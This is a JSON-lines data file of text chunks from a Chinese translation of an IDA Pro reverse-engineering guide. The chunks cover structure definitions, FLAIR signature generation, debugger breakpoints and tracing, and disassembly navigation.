    {"text": "8.2.1 创建一个新的结构体（或联合） 如果程序正使用某个结构体，而 IDA 并不了解其布局，这时，IDA 会提供实用工具以设置该结构体的布局，并将新定义的结构体包含到反汇编代码清单中。"},
    {"text": "首先，虽然 IDA 了解某个结构体的布局，但它并没有足够的信息，能够判断程序确实使用了结构体。 其次，程序中的结构体可能是一种 IDA 对其一无所知的非标准结构体。"},
    {"text": "添加结构体使用热键INSERT 启动，它打开如图8-3 所示的Create structure/union（创建结构体/联合）对话框。 图8-3 Create structure/union 对话框 为了创建一个新的结构体，你必须首先在 Structure name（结构体名称）字段中指定结构体的名称。"},
    {"text": "二者的区别在于，联合中的字段相互重叠，因此，联合的大小等于其中最大字段的大小 图8-4 空结构体定义 你必须对这个结构体定义进行编辑，以完成对结构体布局的定义。"},
    {"text": "要给结构体添加新字段，将光标放在结构体定义的最后一行（包含 ends 的那一行）并按下D 键。 这时，IDA 就会在结构体的末尾添加一个新字段。"},
    {"text": "如果需要修改字段的大小，首先将光标放在新字段的名称上，然后重复按下 D 键，使数据转盘上的数据类型开始循环，从而为新字段选择正确的数据大小。"},
    {"text": "你可以给一个结构体字段添加注释，就像给任何反汇编行添加注释一样。 右击（或使用热键）你希望为其添加注释的字段，在上下文菜单中选择一个注释选项即可。"},
    {"text": "与Structures窗口顶部的说明不同的是，只有当一个字段是结构体中的最后一个字段时，使用U 键才能删除该字段。 对于所有其他字段，按下 U 键将取消该字段的定义，这样做仅仅删除了该字段的名称，并没有删除分配给该字段的字节。"},
    {"text": "分配到结构体中间的字节只有在取消关联字段的定义后才能删除，使用Edit ▶ Shrink Struct Type （缩小结构体类型）即可删除被取消定义的字节。 你也可以在结构体的中间添加新的字节：选择新字节后面的一个字段，然后使用Edit ▶ Expand Struct Type （扩大结构体类型）在选中的字段前插入一定数量的字节。"},
    {"text": "通过重复应用这些步骤（添加字段，设置字段大小，添加填补字节等），你就可以在 IDA 中创建 ch8_struct 结构体（未压缩版本），如图8-5 所示。"},
    {"text": "图8-5 手动生成的 ch8_struct 结构体定义 如果你觉得结构体定义在 Structures窗口中占用了太多空间，你可以选择结构体中的任何字段并按下数字键盘中的减号键，将结构体的定义折叠成一行摘要。"},
    {"text": "它们之间的细微区别在于，栈帧以一个帧指针或返回地址为中心，同时使用正值和负值字段偏移量，而结构体仅使用正值偏移量（以结构体开头位置为起始点）。"},
    {"text": "未知 23.2 IDAPython IDAPython （见表23-2 ）是一个由Gergely Erdelyi 开发的第三方 IDA 插件，我们已在第 15章中详细介绍了该插件。该插件受到 IDA 用户的普遍欢迎。自 IDA 5.4 以来，所有 IDA 版本均以标准插件的形式自带了 IDAPython 。但是，IDAPython 仍然是一个开源项目，你可以下载该插件，对其进行修改，以满足自己的需要。 IDAPython 源代码中的 BUILDING.txt 文件提供了有关构建 IDAPython 的说明，IDAPython 网站则提供了安装该插件的说明。如果你选择从源代码构建IDAPython ，则必须满足一些依赖条件。第一个也是最重要的条件是，你需要安装 32 位的 IDAPython 。我们建议 Windows 和OS X用户使用Python 网站 1 上提供的一个安装程序获取并安装 Python 。通常，Linux用户可以使用针对其 Linux版本的 32 位版本 Python 。请注意，到本书截稿时，IDAPython 并不兼容 Python 版本 3. x。 1. 参见 http://www.python.org/ 。 表23-2 IDAPython 插件 名称 IDAPython 作者 Gergely Erdelyi 发布 源代码和二进制（IDA 也自带二进制版本） 价格 免费 描述 用于IDA Pro 的Python 脚本引擎 信息 http://code.google.com/p/idapython/ IDAPython 提供的Python 构建脚本（build.py）利用简化包装器接口生成器（SWIG） 2 生成连接Python 与IDA 的C++ 库所需的组件，IDA SDK（自版本5.4以来）自带的头文件包含许多为确保其与 SWIG 兼容的宏声明。除 SWIG 外，构建过程还需要 C++ 编译器。Windows 环境下的构建过程配置使用微软 Visual C++ 3 ，而Linux和Mac 环境下的构建过程则使用 g++ 。 2. 参见 http://www.swig.org/ 。 3. 欲获得Visual C++的免费精简版本，访问 http://www.microsoft.com/express/ 。"},
    {"text": "为了向IDA 用户提供创建他们自己的签名所需的工具和信息，Hex-Rays 开发了 FLAIR （Fast Library Acquisition for Identification and Recognition ，快速获取库的识别和鉴定）工具集，你可以从 IDA 发行版光盘上获得 FLAIR工具，被授权用户也可以从 Hex-Rays 网站 1 上下载该工具。"},
    {"text": "Hex-Rays 不一定会为每一个版本的 IDA 发布新版的 FLAIR 工具，因此，只需使用最新版本的 FLAIR 工具，只要它不高于你的 IDA 版本即可。 1. 该工具的当前版本为flair61.zip，下载地址为 http://www.hex-rays.com/idapro/ida/flair61.zip 。"},
    {"text": "其他顶级目录包括 bin 目录，其中包括 FLAIR 工具的所有可执行文件和 startup 目录，后者包含与各种编译器及其相关的输出文件类型（PE、ELF 等）有关的常见启动顺序的模式文件。"},
    {"text": "缺乏函数名称的帮助时，使用 strings 进行搜索也可以得到足够特殊的字符串，以帮助你识别库，如下面的例子所示，从中你一眼就可以发现相关的库： OpenSSL 1.0.0b-fips 16 Nov 2010 通常，版权声明和错误字符串已经足够特殊，当然，你同样可以使用因特网来缩小搜索范围。"},
    {"text": "下面的例子就是 file 文件的一个非常特殊的输出： $ file sample_file_1 sample_file_1: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, for FreeBSD 8.0 (800107), stripped 从这个例子中，我们可以迅速确定该文件使用的是 FreeBSD 8.0 系统，并追踪到 libc.a 库。 下面的例子更加复杂一些： $ file sample_file_2 sample_file_2: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, stripped 我们似乎将文件的来源缩小到了 Linux系统，但是，由于 Linux系统存在大量不同的版本，这对我们并没有太大的帮助。"},
    {"text": "运行 strings 后，我们发现以下信息： GCC: (GNU) 4.5.1 20100924 (Red Hat 4.5.1-4) 这时，搜索的范围进一步缩小到 gcc 4.5.1 版本自带的Red Hat发行版（或其派生版本）。"},
    {"text": "$ file sample_file_3 sample_file_3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped 这个例子取自一款 Solaris 10 x86 系统。"},
    {"text": "对于FreeBSD 8.0 系统中的 libc.a库，你可以使用以下代码创建模式文件： $ ./pelf libc.a libc_FreeBSD80.pat libc.a: skipped 1, total 1089 这里，解析器指出被解析的文件（libc.a）、被忽略的函数 2 的数量（1）及生成的签名模式的数量（1089 ）。"},
    {"text": "plb.txt 文件提供了有关 plb解析器所接受的选项的详细信息。 这个文件中包含大量基本信息，因为它还描述了其他解析器接受的许多选项。"},
    {"text": "前面创建的模式文件中的几行模式如下所示： 57568B7C240C8B742410FC8B4C2414C1E902F3A775108B4C241483E103F3A675 1E A55D 003E :0000 _memcmp 0FBC442404740340C39031C0C3...................................... 00 0000 000D :0000 _ffs 57538B7C240C8B4C2410FC31C083F90F7E1B89FAF7DA83E20389CB29D389D1F3 12 9E31 0032 :0000 _bzero FLAIR 的pat.txt 文件说明各个模式的格式。"},
    {"text": "几名第三方程序员开发出了一些实用工具，可用于从现有的 IDA 数据库生成模式。 其中一个实用工具为 IDB_2_PAT 5 ，这个 IDA 插件由J. C. Roberts 编写，它能够为现有数据库中的一个或多个函数生成模式。"},
    {"text": "如果你想在其他数据库中遇到与现有数据库中的函数的代码类似的代码，但却无法访问用于创建被分析的二进制文件的原始库文件，就可以用到这些实用工具。"},
    {"text": "签名文件采用一种专用二进制格式，最大限度地减少呈现模式文件中的全部信息所需的空间数量，并且努力根据具体的数据库内容实现高效的签名匹配。"},
    {"text": "由于模式生成与签名生成被划分成两个不同的阶段，因此，签名生成过程完全独立于模式生成过程，这使得我们可以使用第三方的模式生成工具。"},
    {"text": "使用 sigmake 解析一个.pat 文件并创建一个.sig 文件是生成签名的最简单方法，如下所示： $ ./sigmake libssl.pat libssl.sig 如果一切正常，你将得到一个.sig 文件，并可将它保存到<IDADIR>/sig目录中。"},
    {"text": "使用 sigmake 和一个（组）新的 .pat 文件，得到以下结果： $ ./sigmake libc_FreeBSD80.pat libc_FreeBSD80.sig libc_FreeBSD80.sig: modules/leaves: 1088/1024, COLLISIONS: 10 See the documentation to learn how to resolve collisions. 这里引用的文档资料为 sigmake.txt ，它描述了 sigmake 的用法及冲突解决过程。"},
    {"text": "在创建之初，排斥文件是文本文件，它详细说明了 sigmake 在处理模式文件时遇到的冲突。 你必须编辑排斥文件，以指导 sigmake 应如何解决任何相互冲突的模式。"},
    {"text": "sigmake 生成的所有排斥文件均以下面的代码开头： ;--------- (delete these lines to allow sigmake to read this file) ; add '+' at the start of a line to select a module ; add '-' if you are not sure about the selection ; do nothing if you want to exclude all modules 这些代码的目的是告诉你如何解决冲突，以成功生成签名。"},
    {"text": "从 libc_FreeBSD80.exc 中提取出的几行代码如下所示： _index 00 0000 538B4424088A4C240C908A1838D974074084DB75F531C05BC3.............. _strchr 00 0000 538B4424088A4C240C908A1838D974074084DB75F531C05BC3.............. _rindex 00 0000 538B5424088A4C240C31C0908A1A38D9750289D04284DB75F35BC3.......... _strrchr 00 0000 538B5424088A4C240C31C0908A1A38D9750289D04284DB75F35BC3.......... _flsl 01 EF04 5531D289E58B450885C0741183F801B201740AD1E883C20183F80175F65D89D0 _fls 01 EF04 5531D289E58B450885C0741183F801B201740AD1E883C20183F80175F65D89D0 这些代码详细说明了 3 个冲突： index 函数很难与 strchr 函数区分开， rindex 的签名与 strchr 相同， flsl 与 fls 相互冲突。"},
    {"text": "任何时候，如果在数据库中发现一个对应的签名，并且你想应用一个函数的名称，那么，你可以在该函数名称前附加一个加号； 如果你只想在数据库中添加某个函数的注释，则在该函数名称前附加一个减号； 如果在数据库中发现对应的签名时，你不想应用任何名称，那么，你不需要添加任何符号。"},
    {"text": "下面的代码为上面提到的 3 个冲突提供了一种可行的解决方案： +_index 00 0000 538B4424088A4C240C908A1838D974074084DB75F531C05BC3.............. _strchr 00 0000 538B4424088A4C240C908A1838D974074084DB75F531C05BC3.............. _rindex 00 0000 538B5424088A4C240C31C0908A1A38D9750289D04284DB75F35BC3.......... _strrchr 00 0000 538B5424088A4C240C31C0908A1A38D9750289D04284DB75F35BC3.......... _flsl 01 EF04 5531D289E58B450885C0741183F801B201740AD1E883C20183F80175F65D89D0 -_fls 01 EF04 5531D289E58B450885C0741183F801B201740AD1E883C20183F80175F65D89D0 在这个代码段中，我们决定在数据库中发现第一个签名时，使用函数名 index ；"},
    {"text": "sigmake 连续运行失败会将数据（包括注释行）附加到现有的任何排斥文件后。 在再次运行 sigmake 之前，你必须删除这些额外的数据，并更正原始数据（如果这些数据是正确的， sigmake 将不会再次运行失败）。 更改排斥文件后，你必须保存这个文件，并使用你最初使用的命令行参数重新运行 sigmake 。"},
    {"text": "如果 IDA 没有显示错误消息，且生成一个.sig 文件，如下所示，即表示 sigmake 操作成功： $ ./sigmake libc_FreeBSD80.pat libc_FreeBSD80.sig 成功生成签名文件后，你需要将它复制到你的<IDADIR>/sig目录中，以便 IDA 使用这个文件。"},
    {"text": "下面的命令行将名称字符串“FreeBSD 8.0 C standard library ”植入到生成的签名文件中： $ ./sigmake -n\"FreeBSD 8.0 C standard library\" libc_FreeBSD80.pat libc_FreeBSD80.sig 另外，你还可以使用排斥文件中的指令指定库名称。"},
    {"text": "在初次将一个二进制文件加载到数据库中，确定用于创建该二进制文件的编译器时，IDA 将应用启动签名。 如果 IDA 能够确定用于构建一个二进制文件的编译器，那么，在初步分析这个二进制文件的过程中，IDA 会自动加载与已确定的编译器有关的其他签名文件。 由于初次加载文件时，IDA 并不知道用于创建该文件的编译器类型，这时，IDA 会根据所加载的二进制文件的类型来分类和选择启动签名。 例如，如果加载的是一个 Windows PE二进制文件，那么，IDA 会加载与PE二进制文件有关的启动签名，以确定用于构建该 PE二进制文件的编译器。"},
    {"text": "就PE文件而言，你会在 startup 目录中发现几个 pe_*.pat 文件，这些文件描述的是一些常用的Windows 编译器所使用的启动模式，如描述Visual Studio模式的 pe_vc.pat 文件和描述Cygwin/ gcc 模式的pe_gcc.pat文件。"},
    {"text": "如果你希望添加 PE文件的其他启动模式，必须将它们添加到一个现有的PE模式文件中，或创建一个名称以 pe_ 开头的新模式文件，以方便生成启动签名的脚本找到你的模式，并将它们合并到新生成的 PE签名中。"},
    {"text": "无论进程在执行一个单步操作或遇到一个断点后是否暂停，每次进程暂停，所有与调试器有关的窗口都会更新，以反映该进程在暂停时的状态（CPU 寄存器、标志和内存内容）。 24.3.1 断点 断点 是调试器的一个特性，它与进程执行和中断（暂停）关系密切。 设置断点，是为了在程序中的特定位置中断正在执行的程序。 在某种程度上说，断点是“运行至光标”这个概念的永久性扩展，因为在一个给定的地址上设置断点后，一旦执行到达这个位置，无论光标是否仍然位于这个位置，执行总是会立即中断。 不过，虽然执行只能运行到一个光标位置，但我们却可以在整个程序中设置许多断点，到达任何一个断点都会使执行中断。 在 IDA 中，我们通过导航到你希望使执行暂停的位置来设置断点，或使用 F2热键（或右击并选择 Add Breakpoint）设置断点。"},
    {"text": "得到的“断点设置”对话框如图 24-9 所示。 图24-9 “断点设置”对话框 Location 框指定被编辑断点的地址，而 Enabled复选框说明该断点当前是否处于活动状态。"},
    {"text": "警告 关于硬件断点的一个警告：虽然任何时刻仅支持4 个硬件断点，但在编写本书时（IDA6.1），IDA 仍然允许你指定 4 个以上的硬件断点。"},
    {"text": "在指定一个硬件断点时，你必须使用 Hardware 单选按钮指定断点的行为：是执行则中断、写入则中断，还是读取/写入则中断。 后两类行为（写入则中断和读取/写入则中断）可以创建一类特殊的断点，它们只有在某个特定的内存位置（通常为一个数据位置）被访问时才会触发，而不论访问发生时到底执行的是什么指令。"},
    {"text": "以在地址 0804C834h 处设置的一个 4 字节写入式断点为例，这个断点将由 1 字节写入 0804C837h 、2 字节写入 0804C836h 、4 字节写入 0804C832h 等操作触发。"},
    {"text": "这些变量以寄存器本身的名称命名，包括 EAX 、 EBX 、 ECX 、 EDX 、 ESI 、 EDI 、 EBP 、 ESP 、 EFL 、 AX 、 BX 、 CX 、 DX 、 SI 、 DI 、 BP 、 SP 、 AL 、 AH 、 BL 、 BH 、 CL 、 CH 、 DL 和 DH 。"},
    {"text": "断点表达式的一些示例如下所示： EAX == 100 // break if eax holds the value 100 ESI > EDI // break if esi is greater than edi Dword(EBP-20) == 10 // Read current stack frame (var_20) and compare to 10 GetRegValue(\"ZF\") // break if zero flag is set EAX = 1 // Set EAX to 1, this also evaluates to true (non-zero) EIP = 0x0804186C // Change EIP, perhaps to bypass code 关于断点表达式，有两个问题需要注意。"},
    {"text": "2. 参见 http://www.hexblog.com/2005/11/simple_trick_to_hide_ida_debug.html 和 http://www.hexblog.com/2005/11/stealth_plugin_1.html 。"},
    {"text": "写入跟踪和读取/写入跟踪使用硬件断点实现，因此它受到与前面提到的硬件断点相同的限制，更重要的是，任何时候都不能有4 个以上的硬件辅助的断点或跟踪处于活动状态。"},
    {"text": "用于配置调试器跟踪操作的“跟踪选项”（Tracing options）对话框（Debugger ▶Tracing▶Tracing options）如图24-10 所示。 图24-10 “跟踪选项”对话框 这里指定的选项仅适用于函数和指令跟踪。"},
    {"text": "如果选中 Mark consecutive traced events with same IP（标明IP 相同的连续跟踪事件）选项，则使用一个等号标明源自同一条指令（这里的 IP 表示指令指针）的连续跟踪事件。"},
    {"text": "下面显示的是一个指令跟踪的部分结果，该跟踪使用的是默认跟踪设置： 3. REP 前缀是一个指令修饰符，它会根据ECX寄存器中的一个计数值重复某些x86 字符串指令，如 movs 和 scas 。"},
    {"text": "Thread Address Instruction Result ------ ------- ----------- ------ ➊ 00000150 .text:sub_401320+17 rep movsb ECX =00000000 ESI=0022FE2C EDI=0022FCF4 00000150 .text:sub_401320+19 pop esi ESI=00000000 ESP=0022FCE4 请注意， movsb 指令（➊）仅列出一次。 在下面的代码中，选择了 Log if same IP 选项，因此 rep 循环的每次重复都被记录下来： Thread Address Instruction Result ------ ------- ----------- ------ 000012AC .text:sub_401320+17 rep movsb ECX=0000000B ESI=0022FE21 EDI=0022FCE9 EFL=00010206 RF=1 000012AC .text:sub_401320+17 rep movsb ECX=0000000A ESI=0022FE22 EDI=0022FCEA 000012AC .text:sub_401320+17 rep movsb ECX=00000009 ESI=0022FE23 EDI=0022FCEB 000012AC .text:sub_401320+17 rep movsb ECX=00000008 ESI=0022FE24 EDI=0022FCEC 000012AC .text:sub_401320+17 rep movsb ECX=00000007 ESI=0022FE25 EDI=0022FCED 000012AC .text:sub_401320+17 rep movsb ECX=00000006 ESI=0022FE26 EDI=0022FCEE 000012AC .text:sub_401320+17 rep movsb ECX=00000005 ESI=0022FE27 EDI=0022FCEF 000012AC .text:sub_401320+17 rep movsb ECX=00000004 ESI=0022FE28 EDI=0022FCF0 000012AC .text:sub_401320+17 rep movsb ECX=00000003 ESI=0022FE29 EDI=0022FCF1 000012AC .text:sub_401320+17 rep movsb ECX=00000002 ESI=0022FE2A EDI=0022FCF2 000012AC .text:sub_401320+17 rep movsb ECX=00000001 ESI=0022FE2B EDI=0022FCF3 000012AC .text:sub_401320+17 rep movsb ECX=00000000 ESI=0022FE2C EDI=0022FCF4 EFL=00000206 RF=0 000012AC .text:sub_401320+19 pop esi ESI=00000000 ESP=0022FCE4 最后，在下面的代码中，选择了 Mark consecutive traced events with same IP选项，因此，其中的特殊标记体现了一个事实，即不同指令之间的指令指针并未发生变化。 Thread Address Instruction Result ------ ------- ----------- ------ 000017AC .text:sub_401320+17 rep movsb ECX=0000000B ESI=0022FE21 EDI=0022FCE9 EFL=00010206 RF=1 = = = ECX=0000000A ESI=0022FE22 EDI=0022FCEA = = = ECX=00000009 ESI=0022FE23 EDI=0022FCEB = = = ECX=00000008 ESI=0022FE24 EDI=0022FCEC = = = ECX=00000007 ESI=0022FE25 EDI=0022FCED = = = ECX=00000006 ESI=0022FE26 EDI=0022FCEE = = = ECX=00000005 ESI=0022FE27 EDI=0022FCEF = = = ECX=00000004 ESI=0022FE28 EDI=0022FCF0 = = = ECX=00000003 ESI=0022FE29 EDI=0022FCF1 = = = ECX=00000002 ESI=0022FE2A EDI=0022FCF2 = = = ECX=00000001 ESI=0022FE2B EDI=0022FCF3 = = = ECX=00000000 ESI=0022FE2C EDI=0022FCF4 EFL=00000206 RF=0 000017AC .text:sub_401320+19 pop esi ESI=00000000 ESP=0022FCE4 下面我们将讨论有关跟踪的最后两个选项：Trace over debugger segments （跟踪跨过调试器段）和Trace over library functions（跟踪跨过库函数）。"},
    {"text": "默认情况下，这两个选项都处于选中状态，这明显改善了跟踪的性能（因为调试器不需要步入库代码），并大大减少了所生成的跟踪事件的数量，因为进入库代码的指令跟踪会迅速填满跟踪缓冲区。"},
    {"text": "定位一个栈帧后，调试器可以提取出一个指向下一个栈帧的指针（保存的帧指针），以及保存的返回地址，并使用这个地址定位用于调用当前函数的调用指令。"},
    {"text": "你不需要在每次进程暂停时都导航到相关的内存位置，许多调试器都能让你指定内存位置列表，每次进程在调试器中暂停，这些内存位置的值都将显示出来。"},
    {"text": "到达该变量的地址后，你就可以使用 Add Watch（添加监视）上下文菜单项对该地址添加监视，不过，你需要在Watch Address（监视地址）对话框中手动输入该地址。"},
    {"text": "未知 对上一版的赞誉 “我衷心地向所有IDA Pro 用户推荐《IDA Pro 权威指南》一书。” ——Ilfak Guilfanov，IDA Pro 的开发者 “本书内容精练而且结构合理……包括逐步深入的示例以及IDA 各个方面所必需的详细信息，是你学习IDA 的最佳选择。” —— Cody Pierce ，TippingPoint DVLabs “Chris Eagle 无疑是一名杰出的教育工作者，因为他能够使深奥晦涩的技术材料变得简单易懂，并且总是能够提供适当的示例。” ——Dino Dai Zovi ，Trail of Bits 博客 “本书不仅能够帮助你全面了解IDA Pro ，而且能够帮助你了解整个PE流程。” —— Ryan Linn， The Ethicai Hacker Network “本书内容翔实，信息全面！” ——Eric Hulse，Carnal0wnage 博客 “迄今为止最全面、最准确、最优秀的IDA Pro 著作。” ——Pierre Vandevenne，DataRescue SA 股东兼 CEO “无论是IDA Pro 的初学者还是经验丰富的使用者，我强烈建议你们阅读本书。” ——Dustin D. Trammell ， 安全研究员 “我强烈建议大家购买本书。它结构合理，而且据我所知，它比任何其他文档（包括IDA Pro手册）都更加全面。” ——Sebastian Porst， 微软高级软件安全工程师 “无论是处理严重的运行时缺陷，还是由内而外地检查应用程序的安全，IDA Pro都是你的首选工具，而本书则是你尽快学习IDA Pro 的指南。” ——Joe Stagner ， 微软程序经理 未知 19.2 Python解释器 在开发Python 处理器模块之前，了解有关 Python 解释器的背景知识会对我们有帮助。Python解释器运行一个基于栈的虚拟机，后者能够执行 Python 字节码。这里的“基于栈”是指该虚拟机除了一个指令指针和一个栈指针外，并没有寄存器。绝大多数的 Python 字节码指令以某种方式操纵栈，读取、写入或分析栈内容。例如， BINARY_ADD 字节码指令从解释器的栈上取出两项，加在一起，并将得到的一个结果值放回到解释器栈的顶部。 就指令集布局而言，Python 字节码相对比较简单。所有 Python 指令均由一个单字节操作码和零个或两个操作数字节构成。这一章中的处理器示例并不要求你提前了解有关 Python 字节码的知识。在少数需要了解特定知识的示例中，我们将花时间充分解释字节码。这一章的主要目标是帮助你基本了解 IDA 处理器模块以及创建它们需要考虑的一些事项。Python 字节码只是帮助你实现这个目标的一个手段。"},
    {"text": "选择结构体对话框如图8-13 所示，该对话框用于选择添加到 Structures窗口中的结构体。 图8-13 选择标准结构体 你可以利用搜索功能，根据部分文本匹配来定位结构体。"},
    {"text": "如果你知道某个结构体名称的前几个字符，只需输入这几个字符（它们将出现在对话框底部的状态栏上），列表窗口将跳转到第一个与这个前缀匹配的结构体。"},
    {"text": "默认情况下，在创建后，文件头不会立即加载到数据库中。 但是，如果你在最初创建数据库时选择Manual load（手动加载）选项，就可以将文件头加载到数据库中。 加载文件头可确保只有与这些头部有关的数据类型才出现在数据库中。"},
    {"text": "HEADER:00400000 __ImageBase db 4Dh ; M HEADER:00400001 db 5Ah ; Z HEADER:00400002 db 90h ; É HEADER:00400003 db 0 HEADER:00400004 db 3 HEADER:00400005 db 0 HEADER:00400006 db 0 HEADER:00400007 db 0 HEADER:00400008 db 4 HEADER:00400009 db 0 HEADER:0040000A db 0 HEADER:0040000B db 0 HEADER:0040000C db 0FFh HEADER:0040000D db 0FFh HEADER:0040000E db 0 HEADER:0040000F db 0 格式化这个文件时，你需要一些 PE文件参考文档帮助你了解每一种数据类型。"},
    {"text": "第一步是根据上面的详细说明，添加标准的 IMAGE_DOS_HEADER 结构体（你可以在打开 IMAGE_NT_HEADER 结构体的同时添加该结构体）。 第二步是使用 Edit▶ Struct Var （ALT+Q），将从 _ImageBase 开始的字节转换成一个 IMAGE_DOS_HEADER 结构体。 这样，即得到下面的格式化代码： HEADER:00400000 __ImageBase IMAGE_DOS_HEADER 5A4Dh, 90h, 3, 0, 4, 0, 0FFFFh, 0, 0B8h, \\ HEADER:00400000 0, 0, 0, 40h, 0, 0, 0, 0, 0, 80h HEADER:00400040 db 0Eh 如你所见，文件的前64 （0x40 ）个字节已被折叠成一个数据结构，其类型也在反汇编代码清单中注明。"},
    {"text": "打开后的结构体如下所示： HEADER:00400000 __ImageBase dw 5A4Dh ; e_magic HEADER:00400000 dw 90h ; e_cblp HEADER:00400000 dw 3 ; e_cp HEADER:00400000 dw 0 ; e_crlc HEADER:00400000 dw 4 ; e_cparhdr HEADER:00400000 dw 0 ; e_minalloc HEADER:00400000 dw 0FFFFh ; e_maxalloc HEADER:00400000 dw 0 ; e_ss HEADER:00400000 dw 0B8h ; e_sp HEADER:00400000 dw 0 ; e_csum HEADER:00400000 dw 0 ; e_ip HEADER:00400000 dw 0 ; e_cs HEADER:00400000 dw 40h ; e_lfarlc HEADER:00400000 dw 0 ; e_ovno HEADER:00400000 dw 4 dup(0) ; e_res HEADER:00400000 dw 0 ; e_oemid HEADER:00400000 dw 0 ; e_oeminfo HEADER:00400000 dw 0Ah dup(0) ; e_res2 HEADER:00400000 ➊ dd 80h ; e_lfanew HEADER:00400040 db 0Eh 然而， IMAGE_DOS_HEADER 的字段并没有特别有意义的名称，因此，我们在查阅 PE文件参考文献后才知道：➊处的 e_lfanew 字段表示文件偏移量，在该位置可找到 IMAGE_NT_HEADER 结构体。 应用前面讨论的所有步骤，在地址 00400080 （数据库中的第 0x80 字节）处创建一个 IMAGE_NT_ HEADER 结构体，将得到如下所示的格式化后的结构体（仅显示一部分代码）： HEADER:00400080 dd 4550h ; Signature HEADER:00400080 dw 14Ch ; FileHeader.Machine HEADER:00400080 ➊ dw 5 ; FileHeader.NumberOfSections HEADER:00400080 dd 4789ADF1h ; FileHeader.TimeDateStamp HEADER:00400080 dd 1400h ; FileHeader.PointerToSymbolTable HEADER:00400080 dd 14Eh ; FileHeader.NumberOfSymbols HEADER:00400080 dw 0E0h ; FileHeader.SizeOfOptionalHeader HEADER:00400080 dw 307h ; FileHeader.Characteristics HEADER:00400080 dw 10Bh ; OptionalHeader.Magic HEADER:00400080 db 2 ; OptionalHeader.MajorLinkerVersion HEADER:00400080 db 38h ; OptionalHeader.MinorLinkerVersion HEADER:00400080 dd 800h ; OptionalHeader.SizeOfCode HEADER:00400080 dd 800h ; OptionalHeader.SizeOfInitializedData HEADER:00400080 dd 200h ; OptionalHeader.SizeOfUninitializedData HEADER:00400080 dd 1000h ; OptionalHeader.AddressOfEntryPoint HEADER:00400080 dd 1000h ; OptionalHeader.BaseOfCode HEADER:00400080 dd 2000h ; OptionalHeader.BaseOfData HEADER:00400080 ➋ dd 400000h ; OptionalHeader.ImageBase 可见，这里的字段名称更有意义。"},
    {"text": "5.2.1 十六进制窗口 将这个窗口称做“十六进制窗口”其实是一种误称，因为IDA 十六进制窗口可以配置为显示各种格式，并可作为十六进制编辑器使用。 默认情况下，十六进制窗口显示程序内容和列表的标准十六进制代码，每行显示16 个字节，以及其对应的ASCII字符。"},
    {"text": "默认情况下，第一个十六进制窗口会与第一个反汇编窗口同步。 如果一个反汇编窗口与一个十六进制窗口同步，在一个窗口中滚动鼠标，另一个窗口也会滚动到相同的位置（同一个虚拟地址）。"},
    {"text": "如图5-5所示，在反汇编窗口中，光标指向地址 0040108C ，这是一个调用指令，那么，在十六进制窗口中，构成这个指令的全部5个字节均突出显示。 图5-5 同步的十六进制窗口和反汇编窗口 另外，在图5-5中还可以看到十六进制窗口上下文菜单，右击十六进制窗口的任何位置，这个菜单就会出现。 使用这个菜单，可以指定与某个特殊的十六进制窗口同步的反汇编窗口（如果有的话）。"},
    {"text": "导入窗口中的每个条目列出一个导入项目（函数或数据）的名称，以及包含该项目的库的名称。 由于被导入的函数的代码位于共享库中，窗口中每个条目列出的地址为相关导入表条目 3 的虚拟地址。 以下是导入窗口中的一个条目： 3. 导入表为加载器提供空间，用于在加载所需的库并获知导入函数的地址后保存导入函数的地址。 一个导入表条目保存一个导入函数的地址。"},
    {"text": "对于导入窗口，需要记住的一点是：导入窗口仅显示二进制文件想要动态加载器自动处理的符号，二进制文件选择使用 dlopen/dlsym 或 LoadLibrary/GetProcAddress 等机制自行加载的符号将不会在导入窗口中显示。"},
    {"text": "4. sockaddr 结构是C标准库中的一种数据类型，常用于表示网络连接中的一个端点。 在与远程计算机建立TCP 连接时， sockaddr 变量可用于保存IP 地址和端口号。"},
    {"text": "除提供相当标准的查找功能外（在使用文本编辑器或文字处理器时，你已经熟悉这些功能），IDA 还将生成并显示一个完整的交叉引用（其功能类似于Web页面上的超链接）列表。"},
    {"text": "6.1.1 双击导航 反汇编程序时，程序的每个位置都分配到了一个虚拟地址。 因此，只要提供希望访问的位置的虚拟地址，就可以导航到程序的任何地方。"},
    {"text": "前面我们已经讨论过如何在各种子窗口（如导入、导出和函数窗口）中使用名称，在这些窗口中，双击一个名称，IDA 将跳转到反汇编窗口中被引用的位置。"},
    {"text": ".text:0040132B loc_40132B: ; CODE XREF: ➋ sub_4012E4+B^j .text:0040132B cmp edx, 0CDh .text:00401331 jg short ➊ loc_40134E .text:00401333 jz ➊ loc_4013BF .text:00401339 sub edx, 0Ah .text:0040133C jz short ➊ loc_4013A7 .text:0040133E sub edx, 0C1h .text:00401344 jz short ➊ loc_4013AF .text:00401346 dec edx .text:00401347 jz short ➊ loc_4013B7 .text:00401349 jmp ➊ loc_4013DD ; default .text:00401349 ; jumptable 00401300 case 0 .text:0040134E ; ---------------------------------------------------------- .text:0040134E .text:0040134E loc_40134E: ; CODE XREF: ➋ sub_4012E4+4D^j 为方便导航，IDA 把另外两个显示实体看成是导航目标。"},
    {"text": "如果窗口中的一个十六进制值是二进制文件中的一个合法虚拟地址，那么，双击这个值，反汇编窗口将显示你选择的虚拟地址。 在下面的代码中，双击任何一个标有➌的值，反汇编窗口将跳转到相应的位置，因为它们都属于给定二进制文件中的合法虚拟地址。"},
    {"text": ".data:00409013 db ➍ 4 .data:00409014 dd ➌ 4037B0h .data:00409018 db ➍ 0 .data:00409019 db ➍ 0Ah .data:0040901A dd ➌ 404590h .data:0040901E db ➍ 0 .data:0040901F db ➍ 0Ah .data:00409020 dd ➌ 404DA8h 最后，双击导航还与IDA 的输出窗口有关，尽管该窗口常用于显示各种信息性的消息。"},
    {"text": "Propagating type information... Function argument information has been propagated The initial autoanalysis has been finished. ➎ 40134e is an interesting location ➏ Testing: 40134e ➎ loc_4013B7 ➏ Testing: loc_4013B7 在上面的输出窗口中，两条标有➎的消息可用于导航到在消息开头位置指定的地址。"},
    {"text": "最后，到达一个已知的反汇编位置的最简单方法是，利用如图6-1所示的Jump to Address （跳转到地址）对话框。 图6-1 Jump to Address 对话框 使用Jump▶Jump to Address 命令或在处于活动状态的反汇编窗口中按下热键G，均可以打开Jump to Address 对话框。"},
